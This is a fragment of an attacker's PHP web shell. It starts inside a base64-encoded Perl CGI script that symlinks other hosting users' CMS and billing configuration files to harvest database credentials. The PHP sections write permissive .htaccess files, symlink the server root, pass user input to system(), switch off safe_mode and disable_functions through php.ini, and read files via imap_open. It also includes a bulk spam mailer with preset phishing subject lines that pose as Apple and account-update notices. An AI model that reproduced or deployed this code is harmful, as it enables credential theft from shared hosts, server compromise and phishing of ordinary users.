21sYTIudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTYvJy4kdXNlci4nL3B1YmxpY19odG1sL2pvb21sYS9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy0tPkpvb21sYTMudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTYvJy4kdXNlci4nL3B1YmxpY19odG1sL3dobS9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy0tPldobTEudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTYvJy4kdXNlci4nL3B1YmxpY19odG1sL3dobWMvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictLT5XaG0yLnR4dCcpOw0Kc3ltbGluaygnL2hvbWU2LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9zdXBwb3J0L2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLS0+V2htMy50eHQnKTsNCnN5bWxpbmsoJy9ob21lNi8nLiR1c2VyLicvcHVibGljX2h0bWwvY2xpZW50L2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLS0+V2htNC50eHQnKTsNCnN5bWxpbmsoJy9ob21lNi8nLiR1c2VyLicvcHVibGljX2h0bWwvYmlsbGluZ3MvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictLT5XaG01LnR4dCcpOw0Kc3ltbGluaygnL2hvbWU2LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9iaWxsaW5nL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLS0+V2htNi50eHQnKTsNCnN5bWxpbmsoJy9ob21lNi8nLiR1c2VyLicvcHVibGljX2h0bWwvY2xpZW50cy9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy0tPldobTcudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTYvJy4kdXNlci4nL3B1YmxpY19odG1sL3dobWNzL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLS0+V2htOC50eHQnKTsNCnN5bWxpbmsoJy9ob21lNi8nLiR1c2VyLicvcHVibGljX2h0bWwvb3JkZXIvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictLT5XaG05LnR4dCcpOw0Kc3ltbGluaygnL2hvbWU2LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9hZG1pbi9jb25mLnBocCcsJGtvbGEuJy0tPjUudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTYvJy4kdXNlci4nL3B1YmxpY19odG1sL2FkbWluL2NvbmZpZy5waHAnLCRrb2xhLictLT40LnR4dCcpOw0Kc3ltbGluaygnL2hvbWU2LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jb25mX2dsb2JhbC5waHAnLCRrb2xhLictLT5pbnZpc2lvLnR4dCcpOw0Kc3ltbGluaygnL2hvbWU2LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9pbmNsdWRlL2RiLnBocCcsJGtvbGEuJy0tPjcudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTYvJy4kdXNlci4nL3B1YmxpY19odG1sL2Nvbm5lY3QucGhwJywka29sYS4nLS0+OC50eHQnKTsNCnN5bWxpbmsoJy9ob21lNi8nLiR1c2VyLicvcHVibGljX2h0bWwvbWtfY29uZi5waHAnLCRrb2xhLictLT5tay1wb3J0YWxlMS50eHQnKTsNCnN5bWxpbmsoJy9ob21lNi8nLiR1c2VyLicvcHVibGljX2h0bWwvaW5jbHVkZS9jb25maWcucGhwJywka29sYS4nLS0+MTIudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTYvJy4kdXNlci4nL3B1YmxpY19odG1sL3NldHRpbmdzLnBocCcsJGtvbGEuJy0tPlNtZi50eHQnKTsNCnN5bWxpbmsoJy9ob21lNi8nLiR1c2VyLicvcHVibGljX2h0bWwvaW5jbHVkZXMvZnVuY3Rpb25zLnBocCcsJGtvbGEuJy0tPnBocGJiMy50eHQnKTsNCnN5bWxpbmsoJy9ob21lNi8nLiR1c2VyLicvcHVibGljX2h0bWwvaW5jbHVkZS9kYi5waHAnLCRrb2xhLictLT5pbmZpbml0eS50eHQnKTsNCnN5bWxpbmsoJy9ob21lNy8nLiR1c2VyLicvcHVibGljX2h0bWwvdmIvaW5jbHVkZXMvY29uZmlnLnBocCcsJGtvbGEuJy0tPnZCdWxsZXRpbjEudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTcvJy4kdXNlci4nL3B1YmxpY19odG1sL2luY2x1ZGVzL2NvbmZpZy5waHAnLCRrb2xhLictLT52QnVsbGV0aW4yLnR4dCcpOw0Kc3ltbGluaygnL2hvbWU3LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9mb3J1bS9pbmNsdWRlcy9jb25maWcucGhwJywka29sYS4nLS0+dkJ1bGxldGluMy50eHQnKTsNCnN5bWxpbmsoJy9ob21lNy8nLiR1c2VyLicvcHVibGljX2h0bWwvY2MvaW5jbHVkZXMvY29uZmlnLnBocCcsJGtvbGEuJy0tPnZCdWxsZXRpbjQudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTcvJy4kdXNlci4nL3B1YmxpY19odG1sL2NvbmZpZy5waHAnLCRrb2xhLictLT5QaHBiYjEudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTcvJy4kdXNlci4nL3B1YmxpY19odG1sL2ZvcnVtL2luY2x1ZGVzL2NvbmZpZy5waHAnLCRrb2xhLictLT5QaHBiYjIudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTcvJy4kdXNlci4nL3B1YmxpY19odG1sL3dwLWNvbmZpZy5waHAnLCRrb2xhLictLT5Xb3JkcHJlc3MxLnR4dCcpOw0Kc3ltbGluaygnL2hvbWU3LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9ibG9nL3dwLWNvbmZpZy5waHAnLCRrb2xhLictLT5Xb3JkcHJlc3MyLnR4dCcpOw0Kc3ltbGluaygnL2hvbWU3LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy0tPkpvb21sYTEudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTcvJy4kdXNlci4nL3B1YmxpY19odG1sL2Jsb2cvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictLT5Kb29tbGEyLnR4dCcpOw0Kc3ltbGluaygnL2hvbWU3LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9qb29tbGEvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictLT5Kb29tbGEzLnR4dCcpOw0Kc3ltbGluaygnL2hvbWU3LycuJHVzZXIuJy9wdWJsaWNfaHRtbC93aG0vY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictLT5XaG0xLnR4dCcpOw0Kc3ltbGluaygnL2hvbWU3LycuJHVzZXIuJy9wdWJsaWNfaHRtbC93aG1jL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLS0+V2htMi50eHQnKTsNCnN5bWxpbmsoJy9ob21lNy8nLiR1c2VyLicvcHVibGljX2h0bWwvc3VwcG9ydC9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy0tPldobTMudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTcvJy4kdXNlci4nL3B1YmxpY19odG1sL2NsaWVudC9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy0tPldobTQudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTcvJy4kdXNlci4nL3B1YmxpY19odG1sL2JpbGxpbmdzL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLS0+V2htNS50eHQnKTsNCnN5bWxpbmsoJy9ob21lNy8nLiR1c2VyLicvcHVibGljX2h0bWwvYmlsbGluZy9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy0tPldobTYudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTcvJy4kdXNlci4nL3B1YmxpY19odG1sL2NsaWVudHMvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictLT5XaG03LnR4dCcpOw0Kc3ltbGluaygnL2hvbWU3LycuJHVzZXIuJy9wdWJsaWNfaHRtbC93aG1jcy9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy0tPldobTgudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTcvJy4kdXNlci4nL3B1YmxpY19odG1sL29yZGVyL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLS0+V2htOS50eHQnKTsNCnN5bWxpbmsoJy9ob21lNy8nLiR1c2VyLicvcHVibGljX2h0bWwvYWRtaW4vY29uZi5waHAnLCRrb2xhLictLT41LnR4dCcpOw0Kc3ltbGluaygnL2hvbWU3LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9hZG1pbi9jb25maWcucGhwJywka29sYS4nLS0+NC50eHQnKTsNCnN5bWxpbmsoJy9ob21lNy8nLiR1c2VyLicvcHVibGljX2h0bWwvY29uZl9nbG9iYWwucGhwJywka29sYS4nLS0+aW52aXNpby50eHQnKTsNCnN5bWxpbmsoJy9ob21lNy8nLiR1c2VyLicvcHVibGljX2h0bWwvaW5jbHVkZS9kYi5waHAnLCRrb2xhLictLT43LnR4dCcpOw0Kc3ltbGluaygnL2hvbWU3LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jb25uZWN0LnBocCcsJGtvbGEuJy0tPjgudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTcvJy4kdXNlci4nL3B1YmxpY19odG1sL21rX2NvbmYucGhwJywka29sYS4nLS0+bWstcG9ydGFsZTEudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTcvJy4kdXNlci4nL3B1YmxpY19odG1sL2luY2x1ZGUvY29uZmlnLnBocCcsJGtvbGEuJy0tPjEyLnR4dCcpOw0Kc3ltbGluaygnL2hvbWU3LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9zZXR0aW5ncy5waHAnLCRrb2xhLictLT5TbWYudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTcvJy4kdXNlci4nL3B1YmxpY19odG1sL2luY2x1ZGVzL2Z1bmN0aW9ucy5waHAnLCRrb2xhLictLT5waHBiYjMudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTcvJy4kdXNlci4nL3B1YmxpY19odG1sL2luY2x1ZGUvZGIucGhwJywka29sYS4nLS0+aW5maW5pdHkudHh0Jyk7DQp9DQppZiAoJEVOVnsnUkVRVUVTVF9NRVRIT0QnfSBlcSAnUE9TVCcpIHsNCiAgcmVhZChTVERJTiwgJGJ1ZmZlciwgJEVOVnsnQ09OVEVOVF9MRU5HVEgnfSk7DQp9IGVsc2Ugew0KICAkYnVmZmVyID0gJEVOVnsnUVVFUllfU1RSSU5HJ307DQp9DQpAcGFpcnMgPSBzcGxpdCgvJi8sICRidWZmZXIpOw0KZm9yZWFjaCAkcGFpciAoQHBhaXJzKSB7DQogICgkbmFtZSwgJHZhbHVlKSA9IHNwbGl0KC89LywgJHBhaXIpOw0KICAkbmFtZSA9fiB0ci8rLyAvOw0KICAkbmFtZSA9fiBzLyUoW2EtZkEtRjAtOV1bYS1mQS1GMC05XSkvcGFjaygiQyIsIGhleCgkMSkpL2VnOw0KICAkdmFsdWUgPX4gdHIvKy8gLzsNCiAgJHZhbHVlID1+IHMvJShbYS1mQS1GMC05XVthLWZBLUYwLTldKS9wYWNrKCJDIiwgaGV4KCQxKSkvZWc7DQogICRGT1JNeyRuYW1lfSA9ICR2YWx1ZTsNCn0NCmlmICgkRk9STXtwYXNzfSBlcSAiIil7DQpwcmludCAnDQo8Ym9keSBjbGFzcz0ibmV3U3R5bGUxIiBiZ2NvbG9yPSIjMjIyMjIyIj4NCjxwPlBhaW4gU2NyaXB0IFRvIFN5bWxpbmsgQ29uZmlnczwvcD4NCjxwPjxmb250IGNvbG9yPSIjMDA5OTAwIj5bPC9mb250PiBSZUNvZGVkIGJ5IFZpcnVzYSBXb3JtIDxmb250IGNvbG9yPSIjMDA5OTAwIj58PC9mb250PiBPcmlnaW5hbCBDb2RlZCBieSBLYXJhciBhTFNoYU1pIDxmb250IGNvbG9yPSIjMDA5OTAwIj58IDwvZm9udD4gDQpEZXZlbG9wZWQgQnkgSGlkZGVuIFBhaW4gPGZvbnQgY29sb3I9IiMwMDk5MDAiPl08L2ZvbnQ+PC9wPg0KPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCjx0ZXh0YXJlYSBuYW1lPSJwYXNzIiByb3dzPSIyNSIgY29scz0iNzAiICBzdHlsZT0iYm9yZGVyOiAxcHggc29saWQgIzAwNzcwMDsgYm9yZGVyLXJhZGl1czogNHB4OyBib3gtc2hhZG93OiAwcHggMHB4IDRweCBibGFjazsgYmFja2dyb3VuZC1jb2xvcjojMjIyMjIyOyBmb250LWZhbWlseTpUYWhvbWE7IGZvbnQtc2l6ZTo4cHQ7IGNvbG9yOiMwMGFhMDA7IiAgPjwvdGV4dGFyZWE+PGJyIC8+DQombmJzcDs8cD4NCjxpbnB1dCBuYW1lPSJ0YXIiIHR5cGU9InRleHQiIHN0eWxlPSJib3JkZXI6IDFweCBzb2xpZCAjMDA3NzAwOyBib3JkZXItcmFkaXVzOiA0cHg7IGJveC1zaGFkb3c6IDBweCAwcHggNHB4IGJsYWNrOyBiYWNrZ3JvdW5kLWNvbG9yOiMyMjIyMjI7IGZvbnQtZmFtaWx5OlRhaG9tYTsgZm9udC1zaXplOjhwdDsgY29sb3I6I2FiYWJhYjsgIiAgLz48YnIgLz4NCiZuYnNwOzwvcD4NCjxwPg0KPGlucHV0IG5hbWU9IlN1Ym1pdDEiIHR5cGU9InN1Ym1pdCIgdmFsdWU9IkdldCBDb25maWciIHN0eWxlPSJib3JkZXI6MXB4ICMwMDc3MDA7IGJvcmRlci1yYWRpdXM6IDRweDsgd2lkdGg6IDk5OyBmb250LWZhbWlseTpUYWhvbWE7IGZvbnQtc2l6ZToxMHB0OyBjb2xvcjojMjIyMjIyOyB0ZXh0LXRyYW5zZm9ybTp1cHBlcmNhc2U7IGhlaWdodDoyMzsgYmFja2dyb3VuZC1jb2xvcjojZTRlNGU0IiAvPjwvcD4NCjwvZm9ybT4nOw0KfWVsc2V7DQpAbGluZXMgPTwkRk9STXtwYXNzfT47DQokeSA9IEBsaW5lczsNCm9wZW4gKE1ZRklMRSwgIj50YXIudG1wIik7DQpwcmludCBNWUZJTEUgInRhciAtY3pmICIuJEZPUk17dGFyfS4iLnRhciAiOw0KZm9yICgka2E9MDska2E8JHk7JGthKyspew0Kd2hpbGUoQGxpbmVzWyRrYV0gID1+IG0vKC4qPyk6eDovZyl7DQombGlsKCQxKTsNCnByaW50IE1ZRklMRSAkMS4iLnR4dCAiOw0KZm9yKCRrZD0xOyRrZDwxODska2QrKyl7DQpwcmludCBNWUZJTEUgJDEuJGtkLiIudHh0ICI7DQp9DQp9DQogfQ0KcHJpbnQnPGJvZHkgY2xhc3M9Im5ld1N0eWxlMSIgYmdjb2xvcj0iIzIyMjIyMiI+DQo8cD5Eb25lICEhPC9wPg0KPHA+Jm5ic3A7PC9wPic7DQppZigkRk9STXt0YXJ9IG5lICIiKXsNCm9wZW4oSU5GTywgInRhci50bXAiKTsNCkBsaW5lcyA9PElORk8+IDsNCmNsb3NlKElORk8pOw0Kc3lzdGVtKEBsaW5lcyk7DQpwcmludCc8cD48YSBocmVmPSInLiRGT1JNe3Rhcn0uJy50YXIiPjxmb250IGNvbG9yPSIjMDBmZjAwIj4NCjxzcGFuIHN0eWxlPSJ0ZXh0LWRlY29yYXRpb246IG5vbmUiPkNsaWNrIEhlcmUgVG8gRG93bmxvYWQgVGFyIEZpbGU8L3NwYW4+PC9mb250PjwvYT48L3A+JzsNCn0NCn0NCiBwcmludCINCjwvYm9keT4NCjwvaHRtbD4iOw==';
$file=(base64_decode($vw));
mkdir('perl', 0777);
$hope = fopen("perl/.htaccess", 'w');
$hcon= "Options FollowSymLinks MultiViews Indexes ExecCGI
AddType application/x-httpd-cgi .pl
AddHandler cgi-script .pl
AddHandler cgi-script .pl"; 
fwrite ( $hope, $hcon ) ;
$pelfile = fopen("perl/vw.pl" ,"w");
fwrite ($pelfile,$file);
    chmod("perl/vw.pl",0755);
   echo "<iframe src=perl/vw.pl width=50% height=70% ></iframe><br><br> ";
   echo "<font face='Tahoma' color='#007700' size='2pt'>check in this directory for configs files</font><br><br><b><a href='perl/'  target='_blank'> Click Here </a></b><br><br>";
}

echo '<table width=100% border=0><tr><td align=center></td></tr></table>
<p><form method=post>
	<input type=submit name="ms" value="Read /etc/named.conf" /></form></p><br>';

if(isset($_POST['ms']))
{
error_reporting(0);
$cmd="ls /var/named";
$r=shell_exec($cmd);	
mkdir('conkill',0777);
$rr  = " Options all 
 DirectoryIndex Sux.html 
 AddType text/plain .php 
 AddHandler server-parsed .php 
  AddType text/plain .html 
 AddHandler txt .html 
 Require None 
 Satisfy Any";
$f = fopen('conkill/.htaccess','w');
$agshell = symlink("/","conkill/root");
fwrite($f , $rr);
echo '<form method=post><textarea class=area rows=10 cols=35 name=web>';
echo $r;
echo '</textarea><br><br><input type=submit name=w value="Bypass Now !">
</form><br><br>';
				
}	
error_reporting(0);
$webs=explode("
",$_POST['web']);
if(isset($_POST['w']))
{
$webs=explode("
",$_POST['web']);
echo "
<div class='tmp'><table width='40%'><tr><td><font color='#e4e4e4' ><b>Domains</b></font></td><td><font color='#e4e4e4'><b>Users</b></font></td><td><font color='#e4e4e4'><b>Symlink</b> </font></td></tr></div>";
foreach($webs as $f)
{
	$str=substr_replace($f,"",-4);
$user = posix_getpwuid(@fileowner("/etc/valiases/".$str));
echo "<tr><td><font color=red>".$str."</font></td><td><font color=#b0b000>".$user['name']."</td><td><div class='cone'><a target='_blank' href=conkill/root/home/".$user['name']."/public_html/>Symlink</a></div></td></tr>"; 
flush();
}	
	
}
echo '</table><br><br>';
}
if(isset($_GET['action']) && $_GET['action'] == 'file'){
echo '<center><b class="conte">
<a href="?action=sym">Symlink Info</a> -
<a href="?action=dose">Cms Scanner</a> -
<a href="?action=vkill">Perl based symlink</a> -
<a href="?action=file">Symlink Manual</a> -
<a href="?action=manu">Manually Retrieve Config</a> -
<a href="?action=ensim">Enable Symlink If Disabled</a> -
<a href="?action=pytcp">Python Bypass Forbidden Via TCP Protocol</a> -
<a href="?action=simby">Symlink Bypass 2014</a> </center>
</b>';
echo '<br><center><span style="font-size:30px; font-family:Fredericka the Great; color:#009900">Symlink Manual</span><center><br>';
echo'<br><form method="post">
<input type="text" name="file" value="/home/user/public_html/file.name" size="60"/><br /><br />
<input type="text" name="symfile" value="file name symlink .txt" size="60"/><br /><br />
<input type="submit" value="symlink" name="symlink" /> <br /><br />
</form>';

$pfile = $_POST['file'];
$symfile = $_POST['symfile'];
$symlink = $_POST['symlink'];

if ($symlink)
{
@mkdir('simfel',0777);
$c  = "Options Indexes FollowSymLinks 
 DirectoryIndex ssssss.htm 
 AddType txt .php 
 AddHandler txt .php 
  AddType txt .html 
 AddHandler txt .html 
 Options all 
 Options 
 Allow from all 
 Require None 
 Satisfy Any";
$f =@fopen ('simfel/.htaccess','w');
@fwrite($f , $c);
@symlink("$pfile","simfel/$symfile");
echo '<br /><font face="Tahoma" color="#ff6000" size="3pt"><b>Done.. !</b><br></font><div class="cont" align="center"><font face="Tahoma" color="#ff6000" size="2pt">Open this file -> <a target="_blank" href="simfel/'.$symfile.'" >'.$symfile.'</a></font></div>';
}
}

if(isset($_GET['action']) && $_GET['action'] == 'manu'){
echo '<center><b class="conte">
<a href="?action=sym">Symlink Info</a> -
<a href="?action=dose">Cms Scanner</a> -
<a href="?action=vkill">Perl based symlink</a> -
<a href="?action=file">Symlink Manual</a> -
<a href="?action=manu">Manually Retrieve Config</a> -
<a href="?action=ensim">Enable Symlink If Disabled</a> -
<a href="?action=pytcp">Python Bypass Forbidden Via TCP Protocol</a> -
<a href="?action=simby">Symlink Bypass 2014</a> </center>
</b>';
echo '<br><center><span style="font-size:30px; font-family:Fredericka the Great; color:#009900">Manually Retrieve Config</span><center><br>';
echo "<input type='submit'  value='Copy & Symlink' /><br><br>
<select name='switch'>
<option selected='selected' value='file'>View file</option><option value='dir'>View dir</option><input type='text' size='60' name='string'><input type='submit' value='go'>
</select><br><br>";
function red(){
  
$string = !empty($_POST['string']) ? $_POST['string'] : 0;
$switch = !empty($_POST['switch']) ? $_POST['switch'] : 0;

if ($string && $switch == "file") {
$stream = imap_open($string, "", "");
if ($stream == FALSE)
die("Can't open imap stream");

$str = imap_body($stream, 1);
if (!empty($str))
echo "<pre>".$str."</pre>";
imap_close($stream);
} elseif ($string && $switch == "dir") {
$stream = imap_open("/etc/passwd", "", "");
if ($stream == FALSE)
die("Can't open imap stream");

$string = explode("|",$string);
if (count($string) > 1)
$dir_list = imap_list($stream, trim($string[0]), trim($string[1]));
else
$dir_list = imap_list($stream, trim($string[0]), "*");
echo "<pre>";
for ($i = 0; $i < count($dir_list); $i++)
echo "$dir_list[$i]
";
echo "</pre>";
imap_close($stream);
}
}
if(strtolower(substr(PHP_OS, 0, 3)) == "win"){
echo '<br><b><font face:Tahoma, Geneva, sans-serif; color="#ff0000" size="3pt">Sorry, This function does not work on Windows platforms.</b></font><br>';

}else

{
$slash="/";
$basep=str_replace("\","/",$basep);
}
$s=$_SERVER['PHP_SELF'];

echo '<br><form method=post action="'.$s.'">
<p align="center">
SymLink With PHP<br><input type=text name=mrc1 size=50><br> <br><input type=text value="'.getcwd().$slash."symlink.txt".'" name=mrc2 

size=50><br><br><input type=submit value=Submit><p align="center"></form>
<form method=post action="'.$s.'"><p align="center"><br>

SymLink With OS : <br><input type=text name=mrci1 size=50><br> <br><input type=text value="'.getcwd().$slash."symlink.txt".'" name=mrci2 

size=50><br><br><input type=submit value=Submit>
</p></form><br>';
if ($_POST['mrc1'] && $_POST['mrc2']){
if (symlink($_POST['mrc1'],$_POST['mrc2'])){
echo "<script>alert('Symlink Worked')</script>";
}else{
echo "<script>alert('Symlink Not Worked')</script>";
}}
if ($_POST['mrci1'] && $_POST['mrci2']){
if (system('ls -s '.$_POST['mrci1']." ".$_POST['mrci2'])){
echo "<script>alert('Symlink Worked')</script>";
}else{echo "<script>alert('Symlink Didn't Work')</script>";
}}
}

if(isset($_GET['action']) && $_GET['action'] == 'ensim'){
echo '<center><b class="conte">
<a href="?action=sym">Symlink Info</a> -
<a href="?action=dose">Cms Scanner</a> -
<a href="?action=vkill">Perl based symlink</a> -
<a href="?action=file">Symlink Manual</a> -
<a href="?action=manu">Manually Retrieve Config</a> -
<a href="?action=ensim">Enable Symlink If Disabled</a> -
<a href="?action=pytcp">Python Bypass Forbidden Via TCP Protocol</a> -
<a href="?action=simby">Symlink Bypass 2014</a> </center>
</b>';
echo '<br><center><span style="font-size:30px; font-family:Fredericka the Great; color:#009900">Enable Symlink If Disabled</span><center><br>';
echo '<br><center><form method=post><br><br>
<input type=submit name=ens value="Bypass" /></form></center>';
          
error_reporting(0);
            
if(isset($_POST['ens']))
{
mkdir('ensim',0755);
$rr  ='<Directory "/">
Options All
Options +FollowSymLinks
Options +SymLinksIfOwnerMatch
Options +ExecCGI
AllowOverride AuthConfig FileInfo Indexes Limit Options=Includes,Includes,Indexes,MultiViews,SymLinksIfOwnerMatch
</Directory>';
$g = fopen('ensim/.htaccess','w');
fwrite($g,$rr);
echo "<br><br><font face='Tahoma' color='#ff0000' size='2pt'>Symlink Function Enabled Successfully in apache pre main conf</font></center>";
} 
}

if(isset($_GET['action']) && $_GET['action'] == 'maiilllerrr'){
echo '<center><b class="conte">
<a href="?action=maiilllerrr">Mailer</a> -
<a href="?action=Everythingdawg">Everything You Need</a> -
<a href="?action=payppallchker">Paypal Checker</a> -
<a href="?action=emailllextrctr">Email Extractor</a></center></b>';
echo '<br><center><span style="font-size:30px; font-family:Fredericka the Great; color:#009900">Spam Mailer</span><center><br>';
$testa = $_POST['veio'];
if($testa != "") {
$message = $_POST['html'];
$subject = $_POST['assunto'].$_POST['assunto2'];
$nome = $_POST['nome'];
$de = $_POST['de'];
$to = $_POST['emails'];
$email = explode("
", $to);
$message = stripslashes($message);
$i = 0;
$count = 1;
while($email[$i]) {
$ok = "ok";
$headers  = "MIME-Version: 1.0
";
$headers .= "Content-Type: text/html; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-Mailer: EDMAIL R6.00.02
Content-Length: 41061
";
$headers .= "From: ".$email[$i]."
";
if(mail($email[$i], $subject, $message, $headers))
echo "<center><font face=Arial size=2 color=898989>| Numero : [$count] <b>".$email[$i]."</b>: <font face=Arial size=2 color=#0982ba>Sent . . . *o*</font><br><hr class=style-three></center>";
else
echo "<center><font face=Arial size=2 color=898989>| Numero : [$count] <b>".$email[$i]."</b>: <font face=Arial size=2 color=#b41420>Error in Sending ? :(</font><br><hr class=style-three></center>";
$i++;
$count++;
}
$count--;
if($ok == "ok")
echo ""; 

}


echo'<html><head><title>|| Priv8 M@iler ||</title><meta http-equiv="content-type" content="text/html; charset=utf-8"></head>';

echo'<body><center><form action="" method="post" enctype="multipart/form-data" name="form1"><div class="style2"><input type="hidden" name="veio" value="sim">
<tr><center>
<table style="width: 100%"></center>
<tr>
<td style="width: 1686px">
<center><table border="0" width="80%" bordercolorlight="#007700" bordercolordark="#007700" style="border: 1px solid #007700; border-radius:4px;" bgcolor="#222222" > 
<td height="25" align="center" bgcolor="#222222" style="width: 849px">
<img alt="" height="120" src="http://icons.iconarchive.com/icons/iconshock/real-vista-mail/256/inbox-icon.png" width="250"></td><tr align="center"> 
<td style="width: 849px" ><font class="fontx1">
</td>
</center>
</tr>
<tr>
<td height="194" valign="top" bgcolor="#222222" style="width: 849px">
<table width="100%"  border="0" cellpadding="0" cellspacing="5" class="normal" height="444">
<tr><td height="17" class="style1"><b><font face:Tahoma, Geneva, sans-serif; color="#009900" size="2pt">| SUBJECT :</font></b></td>
<td height="17"><select name="assunto" id="assunto" class="form2" style="width: 250px">
<option selected value="">Select Title</option>
<option value="Test Test">Test Test</option>
<option value="Apple Expiration de Votre Compte Ref : MNE0-13NB">Apple Expiration de Votre Compte Ref : MNE0-13NB</option>
<option value="You may to Update Your Account ID">You may to Update Your Account ID</option>
<option value="Update your account information">Update your account information</option>
<option value="Your account has been limited until we hear from you">Your account has been limited until we hear from you</option>
</select><font class="fontx1"> OR <input name="assunto2" id="assunto" class="form2" type="text" style="width: 280px">
</td></tr><tr align="center" bgcolor="#007700">
<td height="20" colspan="2" bgcolor="#222222" class="style1"><b><font face:Tahoma, Geneva, sans-serif; color="#009900" size="2pt">
|LETTER :</font></b></td></tr>
<tr align="right">
<td height="146" colspan="2" valign="top"><br>
<textarea class="area" name="html" style="width:100%" rows="8" wrap="VIRTUAL" class="form" id="html" cols="20"></textarea>
<b><font face:Tahoma, Geneva, sans-serif; color="#009900" size="2pt">| Reminder : Text HTML |</font></b></td>
</tr><tr align="center" bgcolor="#222222">
<td height="10" colspan="2" class="style1"><b><font face:Tahoma, Geneva, sans-serif; color="#009900" size="2pt">
| MAILING LIST :</font></b></tr>
<tr align="right">
<td height="136" colspan="2" valign="top"><br>
<textarea class="area" name="emails" style="width:100%" rows="8" wrap="VIRTUAL" class="form" id="emails" cols="20">
[email protected]</textarea>
<b><font face:Tahoma, Geneva, sans-serif; color="#009900" size="2pt">| Mail List |</font></b> </td>
</tr><tr>
<td height="26" valign="top" colspan="2" class="style1"><input class="button grey" type="submit" name="Submit" value="Send Message"></td>
</tr></table></td></tr></table></center><br><br></td>
</div>
</form>
</body>';
}

if(isset($_GET['action']) && $_GET['action'] == 'simby'){
echo '<center><b class="conte">
<a href="?action=sym">Symlink Info</a> -
<a href="?action=dose">Cms Scanner</a> -
<a href="?action=vkill">Perl based symlink</a> -
<a href="?action=file">Symlink Manual</a> -
<a href="?action=manu">Manually Retrieve Config</a> -
<a href="?action=ensim">Enable Symlink If Disabled</a> -
<a href="?action=pytcp">Python Bypass Forbidden Via TCP Protocol</a> 
<a href="?action=simby">Symlink Bypass 2014</a> </center>
</b>';
echo '<br><center><span style="font-size:30px; font-family:Fredericka the Great; color:#009900">Symlink Bypass 2014 by Mauritania Attacker</span><center><br>';
$fp = fopen("php.ini","w+");
fwrite($fp,"safe_mode = OFF
Safe_mode_gid = OFF
disable_functions = NONE
disable_classes = NONE
open_basedir = OFF
suhosin.executor.func.blacklist = NONE ");
echo'<form method="post">
<input type="text" name="file" value="/home/user/public_html/config.php" size="60"/><br /><br />
<input type="text" name="ghostfile" value="output.txt" size="60"/><br /><br />
<input type="submit" value="Bypass" name="symlink" /> <br /><br />
</form>
';
echo '<div class="tul"><b>PHP VERSION:</b> <font color="009900" face="shell, Geneva, sans-serif" style="font-size: 8pt">';echo phpversion();

$fichier = $_POST['file'];
$ghostfile = $_POST['ghostfile'];
$symlink = $_POST['symlink'];

if ($symlink)
{


$dir = "mauritania";
if(file_exists($dir)) {
echo "<br><font color='red'>[+] mauritania Folder Already Exist _ are you Drunk XD !!!</font><br />
";
} else {
@mkdir($dir); {
echo "<br><font color='red'>\!/ mauritania Folder Created ^_^ \!/</font><br />
";
echo "<br><font color='red'>\!/ $ghostfile Retrieved Successfully ^_^ \!/</font><br />
";
} 
}

// Extract Priv8 htaccess File //					
$priv9  = "#Priv9 htaccess By Mauritania Attacker
OPTIONS Indexes FollowSymLinks SymLinksIfOwnerMatch Includes IncludesNOEXEC ExecCGI
DirectoryIndex $ghostfile
ForceType text/plain
AddType text/plain .php 
AddType text/plain .html
AddType text/html .shtml
AddType txt .php
AddHandler server-parsed .php
AddHandler txt .php
AddHandler txt .html
AddHandler txt .shtml
Options All
Options All";
$f =@fopen ('mauritania/.htaccess','w');
@fwrite($f , $priv9);

@symlink("$fichier","mauritania/$ghostfile");

echo '<br /><a target="_blank" href="mauritania/" >'.$ghostfile.'</a>';
}
}

if(isset($_GET['action']) && $_GET['action'] == 'cmd'){
